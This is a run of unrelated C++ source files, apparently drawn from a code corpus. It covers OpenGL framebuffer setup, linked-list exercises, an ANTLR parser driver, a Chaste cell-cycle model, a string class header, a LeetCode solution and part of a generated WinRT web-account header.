glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0 + i, GL_TEXTURE_2D_MULTISAMPLE, colorTextures.at(i), 0); } } else { glGenTextures(nrColorTexture, colorTextures.data()); for (unsigned int i = 0; i < nrColorTexture; ++i) { glBindTexture(GL_TEXTURE_2D, colorTextures.at(i)); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glBindTexture(GL_TEXTURE_2D, 0); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0 + i, GL_TEXTURE_2D, colorTextures.at(i), 0); } } } //depth Texture if (useDepthTexture) { glGenTextures(1, &depthTexture); float borderColor[] = { 1.0f, 1.0f, 1.0f, 1.0f }; if (useMultisampling) { glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, depthTexture); glTexImage2DMultisample(GL_TEXTURE_2D_MULTISAMPLE, MULTI_SAMPLE_COUNT, GL_DEPTH_COMPONENT32, width, height, GL_TRUE); glTexParameteri(GL_TEXTURE_2D_MULTISAMPLE, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_BORDER); glTexParameteri(GL_TEXTURE_2D_MULTISAMPLE, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_BORDER); glTexParameterfv(GL_TEXTURE_2D_MULTISAMPLE, GL_TEXTURE_BORDER_COLOR, borderColor); glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, 0); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D_MULTISAMPLE, depthTexture, 0); } else { glBindTexture(GL_TEXTURE_2D, depthTexture); glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT32, width, height, 0, GL_DEPTH_COMPONENT, GL_FLOAT, NULL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_BORDER); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_BORDER); glTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_BORDER_COLOR, borderColor); glBindTexture(GL_TEXTURE_2D, 0); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, depthTexture, 0); } } else { unsigned int rb; glGenRenderbuffers(1, &rb); glBindRenderbuffer(GL_RENDERBUFFER, rb); if (multiSample) { glRenderbufferStorageMultisample(GL_RENDERBUFFER, MULTI_SAMPLE_COUNT, GL_DEPTH_COMPONENT32, width, height); } else { glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH_COMPONENT32, width, height); } glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, rb); } std::vector<GLenum> attachments; for (unsigned int i = 0; i < nrColorTexture; ++i) { attachments.push_back(GL_COLOR_ATTACHMENT0 + i); } glNamedFramebufferDrawBuffers(fbo, nrColorTexture, attachments.data()); if (glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE) std::cout << "ERROR - FRAMEBUFFER is not completed!" << std::endl; glBindFramebuffer(GL_FRAMEBUFFER, 0); } void FBO::copyFBO(const FBO& from, const FBO& to, unsigned int bufferMask) { if (from.hasSecondaryColorBuffer && to.hasSecondaryColorBuffer) { glBindFramebuffer(GL_READ_FRAMEBUFFER, from.fbo); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, to.fbo); glNamedFramebufferReadBuffer(from.fbo, GL_COLOR_ATTACHMENT1); glNamedFramebufferDrawBuffer(to.fbo, GL_COLOR_ATTACHMENT1); glBlitFramebuffer(0, 0, from.width, from.height, 0, 0, to.width, to.height, GL_COLOR_BUFFER_BIT, GL_NEAREST); glNamedFramebufferReadBuffer(from.fbo, GL_COLOR_ATTACHMENT0); glNamedFramebufferDrawBuffer(to.fbo, GL_COLOR_ATTACHMENT0); glBlitFramebuffer(0, 0, from.width, from.height, 0, 0, to.width, to.height, bufferMask, GL_NEAREST); unsigned int attachments[2] = { GL_COLOR_ATTACHMENT0, GL_COLOR_ATTACHMENT1 }; glNamedFramebufferDrawBuffers(to.fbo, 2, attachments); } else { glBindFramebuffer(GL_READ_FRAMEBUFFER, from.fbo); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, to.fbo); glBlitFramebuffer(0, 0, from.width, from.height, 0, 0, to.width, to.height, bufferMask, GL_NEAREST); } glBindFramebuffer(GL_FRAMEBUFFER, 0); } void FBO::copyFBO(const FBO& from, unsigned int to, unsigned int bufferMask) { glBindFramebuffer(GL_READ_FRAMEBUFFER, from.fbo); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, to); glBlitFramebuffer(0, 0, from.width, from.height, 0, 0, from.width, from.height, bufferMask, GL_NEAREST); glBindFramebuffer(GL_FRAMEBUFFER, 0); } void FBO::copyFBO(unsigned int from, const FBO& to, unsigned int bufferMask) { glBindFramebuffer(GL_READ_FRAMEBUFFER, from); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, to.fbo); glBlitFramebuffer(0, 0, to.width, to.height, 0, 0, to.width, to.height, bufferMask, GL_NEAREST); glBindFramebuffer(GL_FRAMEBUFFER, 0); }
#include <stdio.h> #include <stdlib.h> typedef struct data { int number; data *next; }data; int n,k; data *make(int number) { data *temp; temp = (data*)malloc(sizeof(data)); temp->number = number; return temp; } int main() { int c; scanf("%d",&c); while(c--) { scanf("%d %d",&n,&k); data *start; start = make(1); data *temp = start; for(int i=2;i<n+1;i++) { temp->next = make(i); temp = temp->next; } temp->next = start; for(int i=0;i<n-2;i++) { temp->next = temp->next->next; for(int j=0;j<k-1;j++) temp = temp->next; } int a = temp->number; int b = temp->next->number; if(a>b) printf("%d %d\n",b,a); else printf("%d %d\n",a,b); } }
#include <iostream> #include "DataLexer.hpp" #include "DataParser.hpp" int main(int argc,char* argv[]) { ANTLR_USING_NAMESPACE(std) try { DataLexer lexer(cin); DataParser parser(lexer); parser.file(); } catch(std::exception& e) { std::cerr << "exception: " << e.what() << std::endl; } }
/* Copyright (c) 2005-2023, University of Oxford. All rights reserved. University of Oxford means the Chancellor, Masters and Scholars of the University of Oxford, having an administrative office at Wellington Square, Oxford OX1 2JD, UK. This file is part of Chaste. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of Oxford nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "StochasticWntCellCycleModel.hpp" StochasticWntCellCycleModel::StochasticWntCellCycleModel(boost::shared_ptr<AbstractCellCycleModelOdeSolver> pOdeSolver) : WntCellCycleModel(pOdeSolver) { if (!pOdeSolver) { #ifdef CHASTE_CVODE mpOdeSolver = CellCycleModelOdeSolver<StochasticWntCellCycleModel, CvodeAdaptor>::Instance(); mpOdeSolver->Initialise(); // Chaste solvers always check for stopping events, CVODE needs to be instructed to do so mpOdeSolver->CheckForStoppingEvents(); mpOdeSolver->SetMaxSteps(10000); #else mpOdeSolver = CellCycleModelOdeSolver<StochasticWntCellCycleModel, RungeKutta4IvpOdeSolver>::Instance(); mpOdeSolver->Initialise(); #endif //CHASTE_CVODE } } StochasticWntCellCycleModel::~StochasticWntCellCycleModel() {} StochasticWntCellCycleModel::StochasticWntCellCycleModel(const StochasticWntCellCycleModel& rModel) : WntCellCycleModel(rModel), mStochasticG2Duration(rModel.mStochasticG2Duration) { /* * Initialize only the member variable defined in this class. * * The new cell-cycle model's ODE system is created and initialized * in the WntCellCycleModel constructor. * * The member variables mDivideTime and mG2PhaseStartTime are * initialized in the AbstractOdeBasedPhaseBasedCellCycleModel * constructor. * * The member variables mCurrentCellCyclePhase, mG1Duration, * mMinimumGapDuration, mStemCellG1Duration, mTransitCellG1Duration, * mSDuration, mG2Duration and mMDuration are initialized in the * AbstractPhaseBasedCellCycleModel constructor. * * The member variables mBirthTime, mReadyToDivide and mDimension * are initialized in the AbstractCellCycleModel constructor. * * Note that mStochasticG2Duration is (re)set as soon as * InitialiseDaughterCell() is called on the new cell-cycle model. */ } void StochasticWntCellCycleModel::GenerateStochasticG2Duration() { RandomNumberGenerator* p_gen = RandomNumberGenerator::Instance(); double mean = AbstractPhaseBasedCellCycleModel::GetG2Duration(); double standard_deviation = 0.9; mStochasticG2Duration = p_gen->NormalRandomDeviate(mean, standard_deviation); // Check that the normal random deviate has not returned a small or negative G2 duration if (mStochasticG2Duration < mMinimumGapDuration) { mStochasticG2Duration = mMinimumGapDuration; } } void StochasticWntCellCycleModel::InitialiseDaughterCell() { WntCellCycleModel::InitialiseDaughterCell(); GenerateStochasticG2Duration(); } void StochasticWntCellCycleModel::Initialise() { WntCellCycleModel::Initialise(); GenerateStochasticG2Duration(); } void StochasticWntCellCycleModel::ResetForDivision() { AbstractWntOdeBasedCellCycleModel::ResetForDivision(); GenerateStochasticG2Duration(); } double StochasticWntCellCycleModel::GetG2Duration() const { return mStochasticG2Duration; } AbstractCellCycleModel* StochasticWntCellCycleModel::CreateCellCycleModel() { return new StochasticWntCellCycleModel(*this); } void StochasticWntCellCycleModel::OutputCellCycleModelParameters(out_stream& rParamsFile) { // No new parameters to output, so just call method on direct parent class WntCellCycleModel::OutputCellCycleModelParameters(rParamsFile); } // Serialization for Boost >= 1.36 #include "SerializationExportWrapperForCpp.hpp" CHASTE_CLASS_EXPORT(StochasticWntCellCycleModel) #include "CellCycleModelOdeSolverExportWrapper.hpp" EXPORT_CELL_CYCLE_MODEL_ODE_SOLVER(StochasticWntCellCycleModel)
#include<bits/stdc++.h> #define ll long long #define MAX 1000003 #define V vector<int> #define pii pair<int,int> #define VP vector< pii > #define MOD 1000000007 #define mp make_pair #define pb push_back #define rep(i,a,b) for(int (i) = (a); (i) < (b); (i)++) #define all(v) (v).begin(),(v).end() #define S(x) scanf("%d",&(x)) #define S2(x,y) scanf("%d%d",&(x),&(y)) #define SL(x) scanf("%lld",&(x)) #define SL2(x) scanf("%lld%lld",&(x),&(y)) #define test() ll t;cin>>t;while(t--) #define P(x) printf("%d\n",(x)) #define FF first #define SS second using namespace std; class Node { public: int data; Node *next; Node(int x) { data = x; next = NULL; } }; void printList(Node *head){ while(head!=NULL){ cout<< head->data; head = head->next; } } Node* insertEnd(Node* start, int data){ Node *temp, *p = start; temp = new Node; temp->data = data; if(start == NULL){ start = temp; temp->next = NULL; return start; } while(p->next != NULL) p = p->next; p->next = temp; temp->next = NULL; return start; } struct Node* insertBeg(Node* start, int data){ Node *temp; temp = (Node *)malloc(sizeof(Node)); if(start == NULL) { temp->data = data; temp->next = NULL; start = temp; return start; } temp->data = data; temp->next = start; start = temp; return start; } int main(){ Node *start = NULL; int n, k; cin>>n; while(n--){ cin>>k; start = insertEnd(start, k); } printList(start); } /* Code by : Rishabh Patel Integrated Post Graduation (IPG) Indian Institute of Information Technology and Management, Gwalior (ABV-IIITM Gwalior) In order to understand recursion, one must first understand recursion. */
#pragma once #include <iostream> using namespace std; class MyString { char* m_pStr; //строка-член класса public: MyString(); explicit MyString(const char* pStr); MyString(const MyString & other); MyString( MyString && other); ~MyString(); void SetNewString(const char * pStr); const char * GetString() const; void ConcatString(const char * pStr); MyString & operator=(const MyString& refMyStr); MyString & operator=(const char * pStr ); MyString & operator=(MyString && other); MyString & operator+=(const MyString & ref); // возвращать по ссылке MyString operator+(const MyString & ref); }; MyString ConcatStrings(char * chArr, ...); ostream & operator<<(ostream & os, const MyString & s);
class Solution { public: vector<string> mostVisitedPattern(vector<string>& username, vector<int>& timestamp, vector<string>& website) { unordered_map<string, map<int, string>> userData; // user-<time, web>, map sorted by time unordered_map<string, int> sequenceCount; // pattern-cnt int n = username.size(), maxCount = 0; string res = ""; // user visit logs for (int i = 0; i < n; i++) { userData[username[i]][timestamp[i]] = website[i]; } // collect pattern, i.e., three sequence for (auto data : userData) { unordered_set<string> sequences; // set to remove duplicates for (auto it1 = data.second.begin(); it1 != data.second.end(); it1++) { for (auto it2 = next(it1); it2 != data.second.end(); it2++) { for (auto it3 = next(it2); it3 != data.second.end(); it3++) { sequences.insert(it1->second + "$" + it2->second + "#" + it3->second); } } } for (auto seq: sequences) sequenceCount[seq]++; } // find sequence with longest count for (auto seq : sequenceCount) { if (res == "" || seq.second > maxCount) { res = seq.first; maxCount = seq.second; } else if (seq.second == maxCount) { res = min(res, seq.first); maxCount = seq.second; } } auto pos1 = res.find("$"); auto pos2 = res.find("#"); return {res.substr(0, pos1), res.substr(pos1 + 1, pos2 - pos1 - 1), res.substr(pos2 + 1)}; } };
// C++ for the Windows Runtime vv1.0.170303.6 // Copyright (c) 2017 Microsoft Corporation. All rights reserved. #pragma once #include "Windows.Security.Authentication.Web.Provider.1.h" WINRT_EXPORT namespace winrt { namespace ABI::Windows::Foundation::Collections { #ifndef WINRT_GENERIC_ac7f26f2_feb7_5b2a_8ac4_345bc62caede #define WINRT_GENERIC_ac7f26f2_feb7_5b2a_8ac4_345bc62caede template <> struct __declspec(uuid("ac7f26f2-feb7-5b2a-8ac4-345bc62caede")) __declspec(novtable) IMapView<hstring, hstring> : impl_IMapView<hstring, hstring> {}; #endif #ifndef WINRT_GENERIC_f6d1f700_49c2_52ae_8154_826f9908773c #define WINRT_GENERIC_f6d1f700_49c2_52ae_8154_826f9908773c template <> struct __declspec(uuid("f6d1f700-49c2-52ae-8154-826f9908773c")) __declspec(novtable) IMap<hstring, hstring> : impl_IMap<hstring, hstring> {}; #endif #ifndef WINRT_GENERIC_60310303_49c5_52e6_abc6_a9b36eccc716 #define WINRT_GENERIC_60310303_49c5_52e6_abc6_a9b36eccc716 template <> struct __declspec(uuid("60310303-49c5-52e6-abc6-a9b36eccc716")) __declspec(novtable) IKeyValuePair<hstring, hstring> : impl_IKeyValuePair<hstring, hstring> {}; #endif } namespace ABI::Windows::Foundation { #ifndef WINRT_GENERIC_3bee8834_b9a7_5a80_a746_5ef097227878 #define WINRT_GENERIC_3bee8834_b9a7_5a80_a746_5ef097227878 template <> struct __declspec(uuid("3bee8834-b9a7-5a80-a746-5ef097227878")) __declspec(novtable) IAsyncOperation<Windows::Storage::Streams::IBuffer> : impl_IAsyncOperation<Windows::Storage::Streams::IBuffer> {}; #endif #ifndef WINRT_GENERIC_81ca789b_98df_5c6a_9531_966238e3e7ae #define WINRT_GENERIC_81ca789b_98df_5c6a_9531_966238e3e7ae template <> struct __declspec(uuid("81ca789b-98df-5c6a-9531-966238e3e7ae")) __declspec(novtable) IAsyncOperation<Windows::Security::Cryptography::Core::CryptographicKey> : impl_IAsyncOperation<Windows::Security::Cryptography::Core::CryptographicKey> {}; #endif #ifndef WINRT_GENERIC_acd76b54_297f_5a18_9143_20a309e2dfd3 #define WINRT_GENERIC_acd76b54_297f_5a18_9143_20a309e2dfd3 template <> struct __declspec(uuid("acd76b54-297f-5a18-9143-20a309e2dfd3")) __declspec(novtable) IAsyncOperation<Windows::Security::Credentials::WebAccount> : impl_IAsyncOperation<Windows::Security::Credentials::WebAccount> {}; #endif } namespace ABI::Windows::Foundation::Collections { #ifndef WINRT_GENERIC_cb15d439_a910_542a_89ed_7cfe67848a83 #define WINRT_GENERIC_cb15d439_a910_542a_89ed_7cfe67848a83 template <> struct __declspec(uuid("cb15d439-a910-542a-89ed-7cfe67848a83")) __declspec(novtable) IIterable<Windows::Security::Credentials::WebAccount> : impl_IIterable<Windows::Security::Credentials::WebAccount> {}; #endif #ifndef WINRT_GENERIC_e0798d3d_2b4a_589a_ab12_02dccc158afc #define WINRT_GENERIC_e0798d3d_2b4a_589a_ab12_02dccc158afc template <> struct __declspec(uuid("e0798d3d-2b4a-589a-ab12-02dccc158afc")) __declspec(novtable) IVectorView<Windows::Security::Credentials::WebAccount> : impl_IVectorView<Windows::Security::Credentials::WebAccount> {}; #endif #ifndef WINRT_GENERIC_0064c4f6_3fca_5823_9d92_86c40b28adbc #define WINRT_GENERIC_0064c4f6_3fca_5823_9d92_86c40b28adbc template <> struct __declspec(uuid("0064c4f6-3fca-5823-9d92-86c40b28adbc")) __declspec(novtable) IVectorView<Windows::Web::Http::HttpCookie> : impl_IVectorView<Windows::Web::Http::HttpCookie> {}; #endif #ifndef WINRT_GENERIC_3dfd5eff_8fa4_5e9d_8d1c_0f18d542be35 #define WINRT_GENERIC_3dfd5eff_8fa4_5e9d_8d1c_0f18d542be35 template <> struct __declspec(uuid("3dfd5eff-8fa4-5e9d-8d1c-0f18d542be35")) __declspec(novtable) IVectorView<Windows::Security::Authentication::Web::Provider::WebAccountClientView> : impl_IVectorView<Windows::Security::Authentication::Web::Provider::WebAccountClientView> {}; #endif #ifndef WINRT_GENERIC_4e7ad5cf_390f_5ecd_b714_3c654b84cbba #define WINRT_GENERIC_4e7ad5cf_390f_5ecd_b714_3c654b84cbba template <> struct __declspec(uuid("4e7ad5cf-390f-5ecd-b714-3c654b84cbba")) __declspec(novtable) IVector<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> : impl_IVector<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> {}; #endif #ifndef WINRT_GENERIC_98a6c2fe_469b_5bdd_a16d_7002c3a0853d #define WINRT_GENERIC_98a6c2fe_469b_5bdd_a16d_7002c3a0853d template <> struct __declspec(uuid("98a6c2fe-469b-5bdd-a16d-7002c3a0853d")) __declspec(novtable) IVector<Windows::Web::Http::HttpCookie> : impl_IVector<Windows::Web::Http::HttpCookie> {}; #endif #ifndef WINRT_GENERIC_0eb9fa36_88de_590d_8ea0_b613d0ab015f #define WINRT_GENERIC_0eb9fa36_88de_590d_8ea0_b613d0ab015f template <> struct __declspec(uuid("0eb9fa36-88de-590d-8ea0-b613d0ab015f")) __declspec(novtable) IIterable<Windows::Web::Http::HttpCookie> : impl_IIterable<Windows::Web::Http::HttpCookie> {}; #endif } namespace ABI::Windows::Foundation { #ifndef WINRT_GENERIC_51c3d2fd_b8a1_5620_b746_7ee6d533aca3 #define WINRT_GENERIC_51c3d2fd_b8a1_5620_b746_7ee6d533aca3 template <> struct __declspec(uuid("51c3d2fd-b8a1-5620-b746-7ee6d533aca3")) __declspec(novtable) AsyncOperationCompletedHandler<Windows::Storage::Streams::IBuffer> : impl_AsyncOperationCompletedHandler<Windows::Storage::Streams::IBuffer> {}; #endif #ifndef WINRT_GENERIC_04ca4378_f594_5de6_a555_304f62cb4faf #define WINRT_GENERIC_04ca4378_f594_5de6_a555_304f62cb4faf template <> struct __declspec(uuid("04ca4378-f594-5de6-a555-304f62cb4faf")) __declspec(novtable) AsyncOperationCompletedHandler<Windows::Security::Cryptography::Core::CryptographicKey> : impl_AsyncOperationCompletedHandler<Windows::Security::Cryptography::Core::CryptographicKey> {}; #endif #ifndef WINRT_GENERIC_4bd6f1e5_ca89_5240_8f3d_7f1b54ae90a7 #define WINRT_GENERIC_4bd6f1e5_ca89_5240_8f3d_7f1b54ae90a7 template <> struct __declspec(uuid("4bd6f1e5-ca89-5240-8f3d-7f1b54ae90a7")) __declspec(novtable) AsyncOperationCompletedHandler<Windows::Security::Credentials::WebAccount> : impl_AsyncOperationCompletedHandler<Windows::Security::Credentials::WebAccount> {}; #endif } namespace ABI::Windows::Foundation::Collections { #ifndef WINRT_GENERIC_fe11c488_371a_5330_b7fa_282326fdfbda #define WINRT_GENERIC_fe11c488_371a_5330_b7fa_282326fdfbda template <> struct __declspec(uuid("fe11c488-371a-5330-b7fa-282326fdfbda")) __declspec(novtable) IVector<Windows::Security::Credentials::WebAccount> : impl_IVector<Windows::Security::Credentials::WebAccount> {}; #endif #ifndef WINRT_GENERIC_bfb82cca_aebc_567c_95d9_eba25c365faa #define WINRT_GENERIC_bfb82cca_aebc_567c_95d9_eba25c365faa template <> struct __declspec(uuid("bfb82cca-aebc-567c-95d9-eba25c365faa")) __declspec(novtable) IIterator<Windows::Security::Credentials::WebAccount> : impl_IIterator<Windows::Security::Credentials::WebAccount> {}; #endif #ifndef WINRT_GENERIC_626bc177_8403_5030_a88c_7485cc89d730 #define WINRT_GENERIC_626bc177_8403_5030_a88c_7485cc89d730 template <> struct __declspec(uuid("626bc177-8403-5030-a88c-7485cc89d730")) __declspec(novtable) IIterator<Windows::Web::Http::HttpCookie> : impl_IIterator<Windows::Web::Http::HttpCookie> {}; #endif #ifndef WINRT_GENERIC_43184ef9_2c17_599d_8fa3_48270f365492 #define WINRT_GENERIC_43184ef9_2c17_599d_8fa3_48270f365492 template <> struct __declspec(uuid("43184ef9-2c17-599d-8fa3-48270f365492")) __declspec(novtable) IVector<Windows::Security::Authentication::Web::Provider::WebAccountClientView> : impl_IVector<Windows::Security::Authentication::Web::Provider::WebAccountClientView> {}; #endif #ifndef WINRT_GENERIC_a5984607_661d_5e9c_a0ba_5c7d5f41af1c #define WINRT_GENERIC_a5984607_661d_5e9c_a0ba_5c7d5f41af1c template <> struct __declspec(uuid("a5984607-661d-5e9c-a0ba-5c7d5f41af1c")) __declspec(novtable) IIterator<Windows::Security::Authentication::Web::Provider::WebAccountClientView> : impl_IIterator<Windows::Security::Authentication::Web::Provider::WebAccountClientView> {}; #endif #ifndef WINRT_GENERIC_610e0f9d_aae4_54e1_bb0b_1aca14110abf #define WINRT_GENERIC_610e0f9d_aae4_54e1_bb0b_1aca14110abf template <> struct __declspec(uuid("610e0f9d-aae4-54e1-bb0b-1aca14110abf")) __declspec(novtable) IIterable<Windows::Security::Authentication::Web::Provider::WebAccountClientView> : impl_IIterable<Windows::Security::Authentication::Web::Provider::WebAccountClientView> {}; #endif #ifndef WINRT_GENERIC_eb57825d_5ad6_5ee0_8dc6_a53c1e82e3ab #define WINRT_GENERIC_eb57825d_5ad6_5ee0_8dc6_a53c1e82e3ab template <> struct __declspec(uuid("eb57825d-5ad6-5ee0-8dc6-a53c1e82e3ab")) __declspec(novtable) IIterator<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> : impl_IIterator<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> {}; #endif #ifndef WINRT_GENERIC_e9bac236_c077_553a_b4ae_b58fb0b89918 #define WINRT_GENERIC_e9bac236_c077_553a_b4ae_b58fb0b89918 template <> struct __declspec(uuid("e9bac236-c077-553a-b4ae-b58fb0b89918")) __declspec(novtable) IIterable<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> : impl_IIterable<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> {}; #endif #ifndef WINRT_GENERIC_1ae644b7_9839_585b_8792_ecd5050b88bb #define WINRT_GENERIC_1ae644b7_9839_585b_8792_ecd5050b88bb template <> struct __declspec(uuid("1ae644b7-9839-585b-8792-ecd5050b88bb")) __declspec(novtable) IVectorView<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> : impl_IVectorView<Windows::Security::Authentication::Web::Provider::WebProviderTokenResponse> {}; #endif #ifndef WINRT_GENERIC_e9bdaaf0_cbf6_5c72_be90_29cbf3a1319b #define WINRT_GENERIC_e9bdaaf0_cbf6_5c72_be90_29cbf3a1319b template <> struct __declspec(uuid("e9bdaaf0-cbf6-5c72-be90-29cbf3a1319b")) __declspec(novtable) IIterable<Windows::Foundation::Collections::IKeyValuePair<hstring, hstring>> : impl_IIterable<Windows::Foundation::Collections::IKeyValuePair<hstring, hstring>> {}; #endif } namespace ABI::Windows::Foundation { #ifndef WINRT_GENERIC_66b59040_7c93_5f96_b52f_2c098d1557d0 #define WINRT_GENERIC_66b59040_7c93_5f96_b52f_2c098d1557d0 template <> struct __declspec(uuid("66b59040-7c93-5f96-b52f-2c098d1557d0")) __declspec(novtable) IAsyncOperation<Windows::Foundation::Collections::IVectorView<Windows::Security::Credentials::WebAccount>> : impl_IAsyncOperation<Windows::Foundation::Collections::IVectorView<Windows::Security::Credentials::WebAccount>> {}; #endif #ifndef WINRT_GENERIC_116827c1_187e_5095_a14b_df4111c638c2 #define WINRT_GENERIC_116827c1_187e_5095_a14b_df4111c638c2 template <> struct __declspec(uuid("116827c1-187e-5095-a14b-df4111c638c2")) __declspec(novtable) IAsyncOperation<Windows::Foundation::Collections::IVectorView<Windows::Security::Authentication::Web::Provider::WebAccountClientView>> : impl_IAsyncOperation<Windows::Foundation::Collections::IVectorView<Windows::Security::Authentication::Web::Provider::WebAccountClientView>> {}; #endif } namespace ABI::Windows::Foundation::Collections { #ifndef WINRT_GENERIC_05eb86f1_7140_5517_b88d_cbaebe57e6b1 #define WINRT_GENERIC_05eb86f1_7140_5517_b88d_cbaebe57e6b1 template <> struct __declspec(uuid("05eb86f1-7140-5517-b88d-cbaebe57e6b1")) __declspec(novtable) IIterator<Windows::Foundation::Collections::IKeyValuePair<hstring, hstring>> : impl_IIterator<Windows::Foundation::Collections::IKeyValuePair<hstring, hstring>> {}; #endif } namespace ABI::Windows::Foundation { #ifndef WINRT_GENERIC_c2090d8c_37d8_5c47_9581_0f17b91a0cd3 #define WINRT_GENERIC_c2090d8c_37d8_5c47_9581_0f17b91a0cd3 template <> struct __declspec(uuid("c2090d8c-37d8-5c47-9581-0f17b91a0cd3")) __declspec(novtable) AsyncOperationCompletedHandler<Windows::Foundation::Collections::IVectorView<Windows::Security::Credentials::WebAccount>> : impl_AsyncOperationCompletedHandler<Windows::Foundation::Collections::IVectorView<Windows::Security::Credentials::WebAccount>> {}; #endif #ifndef WINRT_GENERIC_3fa6536f_7e7a_5bc9_b20f_d866cacaf81c #define WINRT_GENERIC_3fa6536f_7e7a_5bc9_b20f_d866cacaf81c template <> struct __declspec(uuid("3fa6536f-7e7a-5bc9-b20f-d866cacaf81c")) __declspec(novtable) AsyncOperationCompletedHandler<Windows::Foundation::Collections::IVectorView<Windows::Security::Authentication::Web::Provider::WebAccountClientView>> : impl_AsyncOperationCompletedHandler<Windows::Foundation::Collections::IVectorView<Windows::Security::Authentication::Web::Provider::WebAccountClientView>> {}; #endif } namespace Windows::Security::Authentication::Web::Provider { struct IWebAccountClientView : Windows::Foundation::IInspectable, impl::consume<IWebAccountClientView> { IWebAccountClientView(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountClientViewFactory : Windows::Foundation::IInspectable, impl::consume<IWebAccountClientViewFactory> { IWebAccountClientViewFactory(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountManagerStatics : Windows::Foundation::IInspectable, impl::consume<IWebAccountManagerStatics> { IWebAccountManagerStatics(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountManagerStatics2 : Windows::Foundation::IInspectable, impl::consume<IWebAccountManagerStatics2> { IWebAccountManagerStatics2(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountManagerStatics3 : Windows::Foundation::IInspectable, impl::consume<IWebAccountManagerStatics3> { IWebAccountManagerStatics3(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountMapManagerStatics : Windows::Foundation::IInspectable, impl::consume<IWebAccountMapManagerStatics> { IWebAccountMapManagerStatics(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderAddAccountOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderAddAccountOperation>, impl::require<IWebAccountProviderAddAccountOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderOperation> { IWebAccountProviderAddAccountOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderBaseReportOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderBaseReportOperation> { IWebAccountProviderBaseReportOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderDeleteAccountOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderDeleteAccountOperation>, impl::require<IWebAccountProviderDeleteAccountOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderOperation> { IWebAccountProviderDeleteAccountOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderManageAccountOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderManageAccountOperation>, impl::require<IWebAccountProviderManageAccountOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderOperation> { 